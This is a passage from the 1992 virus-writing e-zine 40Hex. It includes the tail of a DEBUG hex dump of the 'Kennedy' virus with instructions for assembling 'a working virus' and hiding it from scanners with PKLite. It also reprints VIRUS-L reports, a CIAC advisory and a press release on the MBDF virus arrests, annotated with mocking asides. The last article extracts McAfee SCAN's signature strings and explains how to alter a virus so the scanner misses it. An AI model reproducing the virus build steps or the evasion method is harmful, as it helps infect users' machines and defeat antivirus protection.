4F 4D 4D 41 4E 44 2E 43 e 0220 4F 4D 00 4B 65 6E 6E 65 64 79 20 65 72 20 64 9B e 0230 64 20 2D 20 6C 91 6E 67 65 20 6C 65 76 65 20 22 e 0240 54 68 65 20 44 65 61 64 20 4B 65 6E 6E 65 64 79 e 0250 73 22 0D 0A 24 00 00 00 00 00 00 00 00 00 00 00 e 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 rcx 027F w q ---------------------------------Cut Here----------------------------------- Ok there it is. Not the most impressive virus around and its caught by just about every scan on the market, but take PKLite to it and then remove the PKLite header (Use NOLITE in this issue) and no one will be able to find it. Anyway it gets the job done. To make the above hex into a working file, first cut on the dotted lines. Name the resulting file KENNEDY.TXT. Then: DEBUG < KENNEDY.TXT and you'll have a working virus. -Instigator 40Hex Number 6 Volume 2 Issue 2 File 008 Take a look at this. I picked it up on fidonet, originally from Virus-L digest. all the stuff in *< >*'s are my comments. - Demogorgon ------------------------------ VIRUS-L Digest Wednesday, 26 Feb 1992 Volume 5 : Issue 44 ------------------------------ Date: Tue, 25 Feb 92 10:10:14 -0500 >From: mha@baka.ithaca.ny.us (Mark Anbinder) Subject: MBDF Suspects Arrested (Mac) The Cornell Daily Sun reported in this morning's issue that two Cornell University sophomores, David Blumenthal and Mark Pilgrim, were arrested Monday evening and arraigned in Ithaca City Court on one count each of second degree computer tampering, in connection with the release of the MBDF virus that infected Macs worldwide over the last several days. The two are being held in Tompkins County Jail. *< huh? How does one get arrested for spreading a virus, you ask? read on >* Further charges are pending. --- ** many lines of mail routing crap have been deleted ** Date: Tue, 25 Feb 1992 11:47:32 PST >From: lipa@camis.stanford.edu (Bill Lipa) Subject: Alleged MBDF virus-creators arrested at Cornell "Computer Virus Traced to Cornell Students" by Jeff Carmona [The Cornell Daily Sun, 25 February 1992] Two Cornell students were arrested yesterday for allegedly creating and launching *< launching ? Bon voyage, we launched you !>* a computer virus that crippled computers around the world, according to M. Stuart Lynn, the University's vice president for information technologies. David Blumenthal '94 and Mark Pilgrim '94 were arrested by Department of Public Safety officers and arraigned in Ithaca City Court on one count of second-degree computer tampering, a misdemeanor, *< cool, its only a misdemeanor, how bad could it be ? >* Lynn said. Both students were remanded to the Tompkins County Jail and remained in custody early this morning. They are being held on $2,000 cash or $10,000 bail bond, officials said. Cornell received national attention in Nov. 1988 when Robert T. Morris Jr., a former graduate student, was accused of unleashing a computer virus into thousands of government and university computers. Morris, convicted under the 1986 Computer Fraud and Abuse Act, was fined $10,000, given a three-year probation and ordered to do 400 hours of community service by a federal judge in Syracuse, according to Linda Grace-Kobas, *< Whats a Koba?? >* director of the Cornell News Service. Lynn would not compare the severity of the current case with Morris', saying that "each case is different." Lynn said the virus, called "MBDFA" was put into three Macintosh games -- Obnoxious Tetris, Tetriscycle and Ten Tile Puzzle. On Feb. 14, the games were launched from Cornell to a public archive at Stanford University in Palo Alto, Calif, Lynn said. *< I guess these guys actually put it up on the archive under their own >* *< accounts! Don't they know they can trace that stuff? duhhh... >* From there, the virus spread to computers in Osaka, Japan and elsewhere around the world *< the archive was a dumb idea if thats how they got caught, but it spread like hell >* when users connected to computer networks via modems, he added. It is not known how many computers the virus has affected worldwide, he explained. When computer users downloaded the infected games, the virus caused "a modification of system software," *< oooh...lets not get too technical >* Lynn said. "This resulted in unusual behavior and system crashes," he added. Lynn said he was not aware of anyone at Cornell who reported finding the virus on their computers. The virus was traced to Cornell last Friday, authorities were quickly notified and an investigation began, Lynn said. "We absolutely deplore this kind of bahavior," Lynn said. "We will pursue this matter to the fullest." Armed with search warrants, Public Safety investigators removed more than a dozen crates full of evidence from the students' residences in Baker and Founders halls on West Campus. *< sounds like a typical, over-kill bust to me. If you don't know what it is, take it. >* Public Safety officials refused to disclose the contents of the crates or issue any comment about the incident when contacted repeatedly by phone last night. *< thats because they don't know what the fuck the stuff is >* "We believe this was dealt with very quickly and professionally," Lynn said. The suspects are scheduled to appear in Ithaca City Court at 1 p.m. today and additional charges are pending, according to Grace-Kobas. Because spreading a computer virus violates federal laws, "conceivably, the FBI could be involved," she added. Officials with the FBI could not be reached to confirm or deny this. Blumenthal and Pilgrim, both 19-year-olds, were current student employees at Cornell Information Technologies (CIT), Lynn said. He would not say whether the students launched the virus from their residence hall rooms or From a CIT office. Henrik N. Dullea '61, vice president for University relations, said he thinks "the act will immediately be associated with the University," not only with the individual students charged. Because a major virus originated from a Cornell student in the past, this latest incident may again "bring a negative reaction to the entire institution," Dullea said. *< "blah, blah, blah" >* "These are very selfish acts," Lynn said, referring to the intentional distribution of computer viruses, because innocent people are harmed. Lynn said he was unaware of the students' motive for initiating the virus. Lynn said CIT put out a notice yesterday to inform computer users about the "very virulent" virus. A virus-protection program, such as the new version of Disinfectant, can usually cure computers, but it may be necessary to "rebuild the hard drive" *< egad! Not the dreaded "virus-that-makes-you-rebuild-your- hard-drive" !>* in some cases, he added. A former roommate of Blumenthal said he was not surprised by news of the arrest. Computers were "more than a hobby" for Blumenthal, said Glen Fuller '95, his roommate from last semester. "He was in front of the computer all day," Fuller said. Blumenthal, who had a modem, would "play around with viruses because they were a challenge to him," Fuller said. He said that, to his knowledge, Blumenthal had never released a virus before. -->-<------ Cut Here -------------------------- ------------------------------ VIRUS-L Digest Friday, 28 Feb 1992 Volume 5 : Issue 46 ------------------------------ Date: Wed, 26 Feb 92 11:08:45 -0800 >From: karyn@cheetah.llnl.gov (Karyn Pichnarczyk) Subject: CIAC Bulletin C-17: MBDF A on Macintosh (Mac) NO RESTRICTIONS _____________________________________________________ The Computer Incident Advisory Capability ___ __ __ _ ___ / | / \ / \___ __|__ /___\ \___ _____________________________________________________ INFORMATION BULLETIN New Virus on Macintosh Computers: MBDF A February 25, 1992, 1130 PST Number C-17 ________________________________________________________________________ NAME: MBDF A virus PLATFORM: Macintosh computers-except MacPlus and SE (see below) DAMAGE: May cause program crashes SYMPTOMS: Claris applications indicate they have been altered; some shareware may not work, unexplained system crashes DETECTION & ERADICATION: Disinfectant 2.6,Gatekeeper 1.2.4, Virex 3.6, VirusDetective 5.0.2, Rival 1.1.10, SAM 3.0 ________________________________________________________________________ Critical Facts about MBDF A A new Macintosh virus, MBDF A, (named for the resource it exploits) has been discovered. This virus does not appear to maliciously cause damage, but simply copies itself from one application to another. MBDF A was discovered at two archive sites in newly posted game applications, and has a high potential to be very widespread. Infection Mechanism This virus is an "implied loader" virus, and it works in a similar manner to other implied loader viruses such as CDEF and MDEF. Once the virus is active, clean appliacation programs will become infected as soon as they are executed. MBDF A infects only applications, and does not affect data files. This virus replicates under both System 6 and System 7. While MBDF A may be present on ALL types of Macintosh systems, it will not spread if the infected system is a MacPlus or a Mac SE (although it does spread on an SE/30). Potential Damage The MBDF A virus has no malicious damaging characteristics, however, it may cause programs to inexplicably crash when an item is selected from the menu bar. Some programs, such as the shareware "BeHierarchic" program, have been reported to not operate correctly when infected. Applications written with self-checking code, such as those written by the Claris corporation, will inform the user that they have been altered. When MBDF A infects the system file, it must re-write the entire system file back to disk; this process may take two or three minutes. If the user assumes the system has hung, and reboots the Macintosh while this is occuring, the entire system file will be corrupted and an entire reload of system software must then be performed. This virus can be safely eradicated from most infected programs, although CIAC recommends that you restore all infected files from an uninfected backup. Detection and Eradication Because MBDF A has been recently discovered, only anti-viral packages updated since February 20, 1992 will locate and eradicate this virus. All the major Macintosh anti-viral product vendors are aware of this virus and have scheduled updates for their products. These updates have all been available since February 24, 1992. The updated versions of some products are Disinfectant 2.6, Gatekeeper 1.2.4, Virex 3.6, SAM 3.0, VirusDetective 5.0.2, and Rival 1.1.10. Some Macintosh applications (such as the Claris software mentioned above) may contain self-verification procedures to ensure the program is valid before each execution; these programs will note unexpected alterations to their code and will inform the user. MBDF A has been positively identified as present in two shareware games distributed by reliable archive sites: "Obnoxious Tetris" and "Ten Tile Puzzle". The program "Tetricycle" (sometimes named "Tetris-rotating") is a Trojan Horse program which installs the virus. If you have downloaded these or any other software since February 14, 1992 (the day these programs were loaded to the archive sites), CIAC recommends that you acquire an updated version of an anti-viral product and scan your system for the existence of MBDF A. For additional information or assistance, please contact CIAC: Karyn Pichnarczyk (510) 422-1779 or (FTS) 532-1779 karyn@cheetah.llnl.gov Call CIAC at (510)422-8193/(FTS)532-8193. Send e-mail to ciac@llnl.gov PLEASE NOTE: Many users outside of the DOE and ESnet computing communities receive CIAC bulletins. If you are not part of these communities, please contact your agency's response team to report incidents. Some of the other teams include the NASA NSI response team, DARPA's CERT/CC, NAVCIRT, and the Air Force response team. Your agency's team will coordinate with CIAC. CIAC would like to thank Gene Spafford and John Norstad, who provided some of the information used in this bulletin. This document was prepared as an account of work sponsored by an agency of the United States Government. Neither the United States Government nor the University of California nor any of their employees, makes any warranty, express or implied, or assumes any legal liability or responsibility for the accuracy, completeness, or usefulness of any information, apparatus, product, or process disclosed, or represents that its use would not infringe privately owned rights. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not necessarily constitute or imply its endorsement, recommendation or favoring by the United States Government or the University of California. The views and opinions of authors expressed herein do not necessarily state or reflect those of the United States Government or the University of California, and shall not be used for advertising or product endorsement purposes. -->-<----- Cut Here ------------------------- --- ------------------------------ VIRUS-L Digest Friday, 28 Feb 1992 Volume 5 : Issue 46 ------------------------------ Date: Wed, 26 Feb 92 15:32:02 -0500 >From: mha@baka.ithaca.ny.us (Mark Anbinder) Subject: Cornell MBDF Press Release (Mac) _____________________________________________________ PRESS RELEASE ISSUED BY CORNELL NEWS SERVICE 2/25/91 Students charged with releasing computer virus By Linda Grace-Kobas Following a university investigation that tracked a computer virus and its originators, two Cornell students were arrested and charged with computer tampering for allegedly launching a computer virus embedded in three games into national computer archives. Arraigned Feb. 24 in Ithaca City Court were David S. Blumenthal, 19, a sophomore in the College of Engineering, and Mark Andrew Pilgrim, 19, a sophomore in the College of Arts and Sciences. They were charged with computer tampering in the second degree, a Class A misdemeanor. The pair is being held in Tompkins County Jail with bail set at $2,000 cash bond or $10,000 property bond. At a hearing Tuesday afternoon, Judge Sherman returned the two to jail with the same bond and recommended that they remain in jail until at least Friday pending the federal investigation. A preliminary hearing is set for April 10. Both students were employed by Cornell Information Technologies, which runs the university's computer facilities. Pilgrim worked as a student operator in an Apple Macintosh facility from which the virus is believed to have been launched. The university's Department of Public Safety is working with the Tompkins County district attorney's office, and additional charges are expected to be filed. The Federal Bureau of Investigation has contacted the university to look at possible violations of federal laws, officials said. The Ithaca Police Department is also assisting in the investigation. "We absolutely abhor this type of behavior, which appears to violate the university's computer abuse policy as well as applicable state and federal law," commented M. Stuart Lynn, vice president for information technologies, who headed the investigation to track the originators of the virus. "Cornell will pursue all applicable remedies under our own policies and will cooperate with law enforcement authorities." Lynn said Cornell was alerted Feb. 21 that a Macintosh computer virus embedded in versions of three computer games, Obnoxious Tetris, Tetricycle and Ten Tile Puzzle, had possibly been launched through a Cornell computer. A virus is normally embedded in a program and only propagates to other programs on the host system, he explained. Typically, when an infected application is run, the virus will attack the system software and then other applications will become infected as they are run. The virus, MBDF-A, had been deposited on Feb. 14 directly and indirectly into several computer archives in the U.S. and abroad, including SUMEX-AIM at Stanford University and archives at the University of Texas, the University of Michigan and another in Osaka, Japan. These archives store thousands of computer programs available to users of Internet, the worldwide computer network. Macintosh users who downloaded the games to their computers were subject to a variety of problems, notably the modification of system software and application programs, resulting in unusual behavior and possible system crashes. Apparently, there was no intent to destroy data, Lynn said, but data could be destroyed in system crashes. Reports of the virus have been received from across the United States and around the world, including Wales, Britain, Lynn said, adding that he has no estimate for the number of individuals who might have obtained the games. As soon as the virus was identified, individuals and groups across the country involved with tracking viruses sent messages across computer networks to alert users who might have been affected by the virus, Lynn added. The virus has since been removed from all archives and "disinfectant" software available to the Internet community has been modified so that individual Macintosh users can purge their computers of it. "Our sense is that the virus was controlled very rapidly," he said. In 1988, Cornell received national attention when graduate student Robert T. Morris Jr. launched a computer virus into important government and university research networks. That virus, actually considered a "worm" since it was self-perpetuating, caused major damage in high-level systems. Morris was convicted under the 1986 Computer Fraud and Abuse Act and fined $10,000, given three years probation and ordered to do 400 hours of community service by a federal judge in Syracuse, N.Y. The new virus differs greatly from the Morris worm, Lynn said. "This virus is not to be compared with the Morris worm, which independently moved from machine to machine across the network," he explained. All Macintosh users should take appropriate measures to be certain their systems are not infected with the virus. News Service science writer William Holder also contributed to this report. --- Mark H. Anbinder 607-257-2070 - FAX 607-257-2657 BAKA Computers, Inc. QuickMail QM-QM 607-257-2614 200 Pleasant Grove Road mha@baka.ithaca.ny.us Ithaca, NY 14850 -->-<----- Cut Here ------------------------- 40Hex Number 6 Volume 2 Issue 2 File 009 -=[ The 'McAfee scan' viral footprint codes ]=- -or- /*******************************************/ /* A fool and his scanner, can part a user */ /* from his hard earned money. */ /*******************************************/ - written by - GodNet Raider - of - The CyberUnderground Thrown into 40Hex by DecimatoR from Usenet alt.security -=[ "Information is the greatest weapon of power to the modern wizard." ]=- ]----------------------------------------------------------------------------[ Introduction: ------------- Recently I began to wonder about the usefulness of 'virus scanners' and what if any difference do they have with a simple text/hex search program (like nortons filefind/ts). An if there was no real DIFFERENCE, how secure is the system that used them. Problems with scanning: ----------------------- The first question I had to ask was, What does a 'virus scanner' actually look for? Does it only look for one string of codes or several at different places in the file? To answer this question I called a local BBS an dl'ed McAfee's scan3.7v64 (to evaluate and after my tests, it was erased for its lack of offering any real protection). Then I went to my archives to retrieve some viruses I have experimented with in the past (of which where Jerusalem B and Dark Avenger). I ran scan to verify that the virus files where viruses (3 of which did not set off any alarm even tho there was a listing in the documentation for them, so I removed them from the test). Then using a sector editor looked at the source for the McAfee asso. scan3.7v64 (here after know just as scan64) to find that the footprint information was encoded. Needless to say this did not stop me (for the sake of those who are into the tech aspects of things, the actual method used to get the codes are included at the end of the article with the codes found), It took less than an hour to get the codes I was looking for (without disassembling the code but by looking into the memory allocated to the program). What I found out was scan was just a simple hex searcher (that kept its data locked up till needed). It could also be fooled by any program that contained the same hex string as a real virus (this was proved when , using a sector editor, I added the scan64 footprint for the Jerusalem B into the top of a text file (a place this code would never show up in a real infection) then renamed it to *.com; scan64 reported it as infected). Once the codes where obtained, using debug directly on a virus file, I was able to mutate the virus to no longer be detectable by scan64 without destroying the integrity of it. For the virus was still able to infect files, and scan64 could no longer track it. I was still able to track and control it using norton's filefind, diskmon, diskedit, and (of course) DOS erase. So it seems my question was answered. Some 'virus scanners' just scan for a single string of hex character. This is fine if viruses NEVER changed or programs would NEVER use code similar to what a virus would (the smaller the footprint string the bigger the chance of mistaken alarms). For if a 'virus scanner' programer just keeps making a new release each time there is a new virus (an I will not get into the morality of charging customers the full price of an software upgrade rather than allowing them to buy/dl new footprint data files as they become available) for the program will eventually grow to unwealdable sizes. An it should be noted there are other programs that may do the same job faster, more upward compatibility, and you may already have them on hand. a possible solution: -------------------- One thing that I think is a good idea is when a program allows users to add new footprint data to it (like nortons' virus package). For now users don't need to buy new releases for detection of viruses they may not get/be able to detect. Instead for the cost of a call to a support bbs (part of the original software agreement?) the user can get new data as it becomes available or when they fine a new one on their system they can immediately add the new footprint rather than wait for the next version to be released. Method used to obtain footprints: --------------------------------- After finding the data I was looking for was encoded I thought, How can I get the data I wanted for my tests? Disassembling was out, not for any MORAL reason but, for the time involved. So I thought it must have to decode the data for it's own use and to save time it would do it all before the scan rather than slow the process down by doing a full decode. So I needed to look at the memory image of the running program. Thanks to DOS 5.0 and dosshell I was able to do this. After spawning the scan task under the dos shell I used alt-tab to swap back to the shell. Once back in the shell I used the shell commands to copy the tmpxxx.swp to foo.img and terminating scan64 and dosshell. Then using a sector editor I searched though the temp file created by the dos shell. I found an area of data that contained the virus names and non ascii text data separating them. Even though the strings of ascii data (virus names) ended with a zero character (as variable strings have a tendency to), the random data did not end with a common signal character (as expected for code can be any character). There was also no character count stored (the data length varied so it could not be assumed by the scan program as well). So I continued to search though the data. I eventually found another area that had the same text strings (virus names). This time the first character of the none ascii data gave the count of the data size to the following text string. I knew I had found it so I extracted this data to another file (starting at 0 offset in the new file). Then wrote down the some codes and checked them against viruses I had. The codes I had did not seem match. This did not stop me. I took one virus (that my understanding said scan was only looking for 6 consecutive bytes to match) and started zapping bytes (in a file scan said was infected) to find what it was looking for. The processes involved zapping one sector at a time till scan said it was not infected, then half of that sector, then half of a half, and so on. It came down to 6 CONSECUTIVE bytes as I expected. But they where DIFFERENT from the ones I had. So I went to the windows calculator (it allows byte arithmetic in hex, ie.. 0xff + 0x04 = 0x03 (rollover, carry is ignored), it would be outside the scope of this ARTICLE to explain why I thought byte arithmetic was important). Some quick subtraction found a 0x93 (decimal 147) DIFFERENCE between the actual codes and the ones from the allocated memory uses by scan. So taking another virus that scan said was infected I did the minor hex math on the codes in the allocated memory used by scan and found the codes. Then i zapped only the codes and ran scan on the updated virus file. It said there was no infection. I knew I now had the right codes (after a few more checks). So I created a simple C program (see below) to convert the extract file I created and converted the codes to a readable form (output from program listed at end of ARTICLE). Then tested other viruses against the list. An found the same results. Binary to hex program: ---------------------- /* fp2txt.c Convert footprint binary information to text. by GodNet Raider Notes: Please forgive the unrefined/unannotated nature of this code it was designed as a one shot. */ #include <stdlib.h> #include <stdio.h> #define TRUE 1 #define MAGICNUM 0x93 void main (void); void main (void) { unsigned char sVirusFP [128], *ptVirusInfo, szVirusName [128]; register unsigned int nTmpCnt; FILE *Stream; Stream = fopen ("fp2.img", "rb"); while (!feof (Stream)) { ptVirusInfo = sVirusFP; if (!(*sVirusFP = getc (Stream))) exit (0); nTmpCnt = (unsigned int) *sVirusFP; while (nTmpCnt--) *(++ptVirusInfo) = ((unsigned char) getc (Stream)) - MAGICNUM; ptVirusInfo = szVirusName; while ((*(ptVirusInfo++) = getc (Stream))); printf ("\n%s:\n ", szVirusName); ptVirusInfo = sVirusFP; nTmpCnt = (unsigned int) *sVirusFP; while (nTmpCnt--) { printf ("0x%02x ", (unsigned int) *(++ptVirusInfo)); if (nTmpCnt && !((*sVirusFP - nTmpCnt) % 8)) printf ("\n "); } printf ("\n"); getc (Stream); } exit (0); } Footprints discovered: ---------------------- The following is a list of the footprint codes found in McAfee asso. Scan3.7v64. 1008 Virus [1008]: 0x81 0xed 0x38 0x00 0xe8 0xc3 Stoned-II Virus [S-2]: 0x9c 0x2e 0xff 0x1e 0x09 0x00 VHP-2 Virus [VHP2]: 0x1c 0x8c 0x44 0x02 0xb8 0x24 0x35 0xcd 0x21 0x89 VHP Virus [VHP]: 0x07 0x89 0x7e 0x8a 0x8d 0x7e 0x90 0x89 0x7e 0x88 Taiwan3 Virus [T3]: 0x17 0x0f 0x32 0x0a 0x32 0x0a 0x90 0x0b 0xfb 0x08 Armagedon Virus [Arma]: 0xb8 0x00 0x43 0xcd 0x21 0x2e 0x89 0x0e 0x48 0x01 1381 Virus [1381]: 0x1e 0x06 0x8c 0xc8 0x8e 0xd8 0xb8 0x40 0x00 0x8e Tiny Virus [Tiny]: 0xb4 0x40 0x8d 0x94 0xab 0x01 0xb9 0x02 0x00 0xcd Subliminal Virus [Sub]: 0x8b 0x3e 0x25 0x01 0x8b 0xd7 0x2e 0x8e 0x06 0x27 Sorry Virus [Sorry]: 0xeb 0x96 0x83 0x2e 0x12 0x00 0x40 0x83 0x2e 0x03 1024 Virus [1024]: 0xc8 0x75 0xed 0x8b 0xd1 0xb8 0x00 0x42 0xcd 0x21 0x72 RedX Virus [RedX]: 0x52 0x8b 0x9c 0x17 0x04 0xb9 0x19 0x03 0x8d 0x94 VP Virus [VP]: 0x21 0x89 0x1e 0x22 0x03 0x8c 0x06 0x24 0x03 0xb4 Print Screen-2 [P-2]: 0x74 0x01 0xbf 0x03 0x00 0xb9 0x20 0x00 0xf3 0xa4 Joshi Virus [Joshi]: 0xf3 0xa4 0x8c 0xc0 0x05 0x20 0x00 0x8e 0xc0 0xbb Microbes Virus [Micro]: 0x8e 0xd0 0xbc 0x00 0xf0 0xfb 0xa1 0x13 0x04 0x2d 0x04 Print Screen Virus [Prtscr]: 0xcd 0x05 0xfe 0xc8 0xa2 0x60 0x01 0xc3 0x6f 0x6e 0x2d Form Virus [Form]: 0xe8 0xb2 0x00 0x5a 0x5e 0x1f 0x33 0xc0 0x50 0xb8 0x00 0x7c June 13th Virus [J13]: 0x12 0x00 0xb9 0xb1 0x04 0x2e 0x30 0x04 0x46 0xe2 JoJo Virus [JoJo]: 0x4d 0x2b 0xd0 0x4a 0x45 0x03 0xe8 0x45 0x8e 0xc5 Victor Virus [Victor]: 0x74 0x26 0x80 0xfc 0x5b 0x74 0x21 0x80 0xfc 0x39 5120 Virus [5120]: 0x10 0xa2 0xf6 0x0f 0xe8 0xd0 0xfe 0x80 0x3e 0x4a 0x10 0x02 0x7d 0x22 0xc6 0x46 W-13 Virus [W13]: 0xf3 0xa4 0x8b 0xfa 0xb4 0x30 0xcd 0x21 0x3c 0x00 Slow Virus [Slow]: 0x81 0xc6 0x1b 0x00 0xb9 0x90 0x06 0x2e 0x80 0x34 Liberty Virus [Liberty]: 0xe8 0xfd 0xfe 0x72 0x2a 0x3b 0xc1 0x7c 0x27 0xe8 Fish Virus [Fish]: 0x0e 0x01 0xcf 0xe8 0x00 0x00 0x5b 0x81 0xeb 0xa9 Shake Virus [Shake]: 0x31 0xd2 0x8b 0xca 0xcd 0x21 0x3d 0x00 0xf0 0x73 Murphy Virus [Murphy]: 0x81 0x7c 0xfe 0x2e 0x43 0x75 0xed 0xb8 0x02 0x3d V800 Virus [V800]: 0x51 0xad 0x33 0xd0 0xe2 0xfb 0x59 0x31 0x15 0x47 Kennedy Virus [Kennedy]: 0x8c 0x55 0x02 0xb8 0x01 0x43 0x33 0xc9 0xcd 0x21 Yankee Two Virus [Doodle2]: 0x73 0x03 0x5a 0x5e 0xc3 0x8b 0xf2 0xf6 0x44 0x15 1971 Virus [1971]: 0x33 0xd2 0xb8 0x00 0x42 0xcd 0x21 0x72 0x26 0x81 0x7c June 16th Virus [June16]: 0x4d 0xa9 0xa5 0x2e 0x70 0x66 0x2e 0x57 0x09 0x0f AIDS II Virus [A2]: 0xa4 0x00 0x55 0x89 0xe5 0x81 0xec 0x02 0x02 0xbf 0xca 0x05 0x0e 0x57 0xbf 0x3e 0x01 1210 Virus [1210]: 0xc4 0x74 0xf0 0x2e 0x80 0x3e 0x2f 0x04 0x01 0x75 1720 Virus [1720]: 0xd8 0x2e 0xa1 0x2c 0x00 0xa3 0xfc 0x03 0x2e 0xa0 Saturday 14th Virus [Sat14]: 0x0e 0x1f 0xb8 0x24 0x35 0xcd 0x21 0x8c 0x06 0x6f XA1 (1539) Christmas Virus [XA1]: 0xfa 0x8b 0xec 0x58 0x32 0xc0 0x89 0x46 0x02 0x81 1392 (Amoeba) Virus [1392]: 0x16 0xa3 0x21 0x01 0x8b 0x44 0x14 0xa3 0x23 0x01 Vcomm Virus [Vcomm]: 0x77 0x02 0xb9 0x20 0x00 0xb4 0x4e 0xcd 0x21 ItaVir Virus [Ita]: 0xb8 0x58 0x45 0x89 0x40 0x02 0xb0 0x00 0x88 0x40 0x04 Korea Virus [Korea]: 0x8e 0xd0 0xbc 0xf0 0xff 0xfb 0xbb 0x13 0x04 Solano Virus [Solano]: 0x12 0x75 0x0e 0x2e 0x8b 0x0e 0x03 0x01 V2000 Virus [2000]: 0x51 0xe8 0x39 0xfd 0x8e 0xc3 0x26 0x8b 12 Tricks Trojan [Tricks]: 0x64 0x02 0x31 0x94 0x42 0x01 0xd1 0xc2 0x4e 0x79 0xf7 12 Tricks Trojan [Tricks-B]: 0xe4 0x61 0x8a 0xe0 0x0c 0x80 0xe6 0x61 1559 Virus [1559]: 0x03 0x26 0x89 0x1e 0x92 0x00 0xfb 0xc3 0x50 0x53 0x51 0x52 0x06 512 Virus [512]: 0x01 0x8c 0x45 0x70 0x1f 0x89 0x57 0x14 0x8c 0xca 0x8e 0xda EDV Virus [EDV]: 0x75 0x1c 0x80 0xfe 0x01 0x75 0x17 0x5b 0x07 0x1f 0x58 0x83 Icelandic-3 Virus [Ice-3]: 0x24 0x2e 0x8f 0x06 0x3b 0x03 0x90 0x2e 0x8f 0x06 Perfume Virus [Fume]: 0x04 0x06 0xbf 0xba 0x00 0x57 0xcb 0x0e 0x1f 0x8e 0x06 Joker Virus [Joke]: 0x56 0x07 0x45 0x07 0x21 0x07 0x1d 0x49 0x27 0x6d 0x20 0x73 0x6f 0x20 0x6d 0x75 0x63 Virus-101 [101]: 0xb3 0x01 0xb4 0x36 0x70 0xb7 0x01 0xb4 0x36 0x70 0x8b 0x37 0xb4 0x36 0x70 0xb3 0x03 0xb4 0x36 0x70 0x03 0xf3 0xb4 Halloechen Virus [Hal]: 0x8c 0xd0 0x8b 0xd4 0xbc 0x02 0x00 0x36 0x8b 0x0e Taiwan Virus [Taiwan]: 0x8a 0x0e 0x95 0x00 0x81 0xe1 0xfe 0x00 0xba 0x9e Oropax Virus [Oro]: 0x3e 0x01 0x1d 0xf2 0x77 0xd1 0xba 0x00 Chaos Virus [Chaos]: 0xa1 0x49 0x43 0x68 0x41 0x4f 0x53 0x50 0x52 0x51 0xe8 4096 Virus [4096]: 0xf6 0x2e 0x8f 0x06 0x41 0x12 0x2e 0x8f 0x06 0x43 Virus-90 [90]: 0x81 0xb8 0xfe 0xff 0x8e 0xd8 0x2d 0xcc AIDS Information Trojan [Aids]: 0x31 0x30 0x30 0x2c 0x36 0x32 0x2c 0x33 0x32 0x00 Devil's Dance Virus [Dance]: 0x5e 0x1e 0x06 0x8c 0xc0 0x48 0x8e 0xc0 0x26 Amstrad Virus [Amst]: 0x72 0x02 0xeb 0x36 0x76 0xba 0x80 0x00 0xb4 0x1a 0xcd 0x21 0x80 0x3e Datacrime II-b Virus [Crime-2B]: 0x2e 0x8a 0x07 0x32 0xc2 0xd0 0xca 0x2e Holland Girl Virus [Holland]: 0x36 0x03 0x01 0x33 0xc9 0x33 0xc0 0xac Do Nothing Virus [Nothing]: 0x72 0x04 0x50 0xeb 0x07 0x90 0xb4 0x4c Lisbon Virus [Lisb]: 0x8b 0x44 0x79 0x3d 0x0a 0x00 0x72 0xde Sunday Virus [Sunday]: 0x75 0x10 0x07 0x2e 0x8e 0x16 0x45 0x00 0x2e 0x8b Typo COM virus [Typo]: 0x99 0xfe 0x26 0xa1 0x5a 0x00 0x2e 0x89 DBASE Virus [Dbase]: 0x80 0xfc 0x6c 0x74 0xea 0x80 0xfc 0x5b 0x74 0xe5 Ghost Virus : 0x90 0xea 0x59 0xec 0x00 0xf0 0x90 0x90 Jerusalem Virus Strain B [Jeru]: 0x47 0x00 0x33 0xc0 0x8e 0xc0 0x26 0xa1 0xfc 0x03 Alabama Virus [Alabama]: 0x8f 0x06 0x18 0x05 0x26 0x8f 0x06 0x1a 1701/1704 Virus - Version B [170X]: 0x31 0x34 0x31 0x24 0x46 0x4c Datacrime Virus [Crime]: 0x36 0x01 0x01 0x83 0xee 0x03 0x8b 0xc6 0x3d 0x00 Stoned Virus [Stoned]: 0x00 0x53 0x51 0x52 0x06 0x56 0x57 0xbe Vacsina virus [Vacs]: 0xb8 0x01 0x43 0x8e 0x5e 0x0e 0x8b 0x56 0x06 0x2e Den Zuk Virus : 0x8e 0xc0 0xbe 0xc6 0x7c 0xbf 0x00 0x7e Ping Pong Virus (old string): 0x59 0x5b 0x58 0x07 0x1f 0xea Pakistani Brain Virus [Brain]: 0x8e 0xd8 0x8e 0xd0 0xbc 0x00 0xf0 0xfb 0xa0 0x06 Yale/Alameda Virus [Alameda]: 0xb4 0x00 0xcd 0x13 0x72 0x0d 0xb8 0x01 Lehigh Virus [Lehigh]: 0x5e 0x83 0xee 0x03 0x8b 0xde 0x81 0xeb 0x91 0x01 Pakistani Brain/Ashar Virus [Brain]: 0x20 0x8c 0xc8 0x8e 0xd8 0x8e 0xd0 Fu Manchu Virus - Version A [Fu]: 0x26 0xc7 0x06 0xfc 0x03 0xf3 0xa4 0x26 0xc6 0x06 Ping Pong Virus - Version B [Ping]: 0xa1 0xf5 0x81 0xa3 0xf5 0x7d 0x8b 0x36 0xf9 0x81 1536 (Zero Bug) Virus [Zero]: 0xeb 0x2b 0x90 0x5a 0x45 0xcd 0x60 0x2e Vienna (DOS 62) Virus - Version B [Vienna]: 0x8b 0xfe 0x36 0x6f 0xc7 0x1f 0x36 0x6f 0x8b 0xde 0x36 0x6f 0xc6 0x1f Ghost Version of DOS-62 [Ghost-C]: 0x8e 0xd8 0xa1 0x13 0x04 0x2d 0x02 0x00 0x90 0xa3 0x13 Friday 13th Virus [Fri13]: 0xb4 0x4f 0xcd 0x21 0x73 0xf7 0x58 405 virus [405]: 0x19 0xcd 0x21 0x26 0xa2 0x49 0x02 0xb4 0x47 0x04 0x01 0x50 3066/2930 Traceback Virus [3066]: 0x14 0x8b 0x4d 0x16 0x8b 0xc1 0x8a 0xcd Pentagon Virus : 0xeb 0x34 0x90 0x48 0x41 0x4c 0x20 0x20 Israeli Boot Virus: 0xcd 0x13 0xb8 0x02 0x02 0xb9 0x06 0x27 0xba 0x00 0x01 Typo Boot Virus: 0x24 0x13 0x55 0xaa Datacrime-2 Virus [Crime-2]: 0x8a 0x94 0x03 0x01 0x8d 0xbc 0x29 0x01 0x8d 0x8c 0xea 0x06 Ohio Virus: 0xeb 0x29 0x90 0x49 0x34 0x12 0x00 0x01 0x00 0x00 0x00 0x00 3551 (Syslock) Virus [Syslock]: 0x33 0x06 0x14 0x00 0x31 0x04 0x46 0x46 0xe2 0xf2 Dark Avenger virus [Dav]: 0xa1 0x4f 0x07 0x89 0x07 0x2e 0xa1 0x51 MIX1/Icelandic Virus [Ice]: 0x43 0x81 0x3f 0x45 0x58 0x75 0xf1 0xb8 